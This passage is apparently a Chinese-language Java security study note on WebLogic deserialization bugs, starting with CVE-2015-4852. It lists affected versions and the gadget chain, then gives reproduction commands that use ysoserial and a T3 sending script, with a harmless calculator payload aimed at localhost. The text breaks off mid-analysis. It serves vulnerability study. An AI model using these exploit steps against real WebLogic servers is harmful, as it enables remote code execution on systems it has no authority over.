本文是osword同学的Java安全学习笔记之一,将详细分析Weblogic历史,从CVE-2015至CVE-2019相关历史漏洞入手,记录学习Java反序列化漏洞的心得
CVE-2015-4852
影响版本
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
Oracle WebLogic Server 10.3.6.0
漏洞原理
测试环境:10.3.6.0 jdk7u21 debian
利用t3协议通信反序列化CC链,简化栈如下。InboundMsgAbbrev.readObject() -> ... -> AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> .... -> Runtime.exec()
漏洞复现
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "open /System/Applications/Calculator.app" > "/tmp/tm.ser"python weblogic_t3.py127.0.0.17001 /tmp/tm.ser
漏洞分析
关注反序列化中间过程,利用 LazyMap链进行反序列化,载体套用AnnotationInvocationHandler类,this.memberValues可控为LazyMap类。利用代理机制&#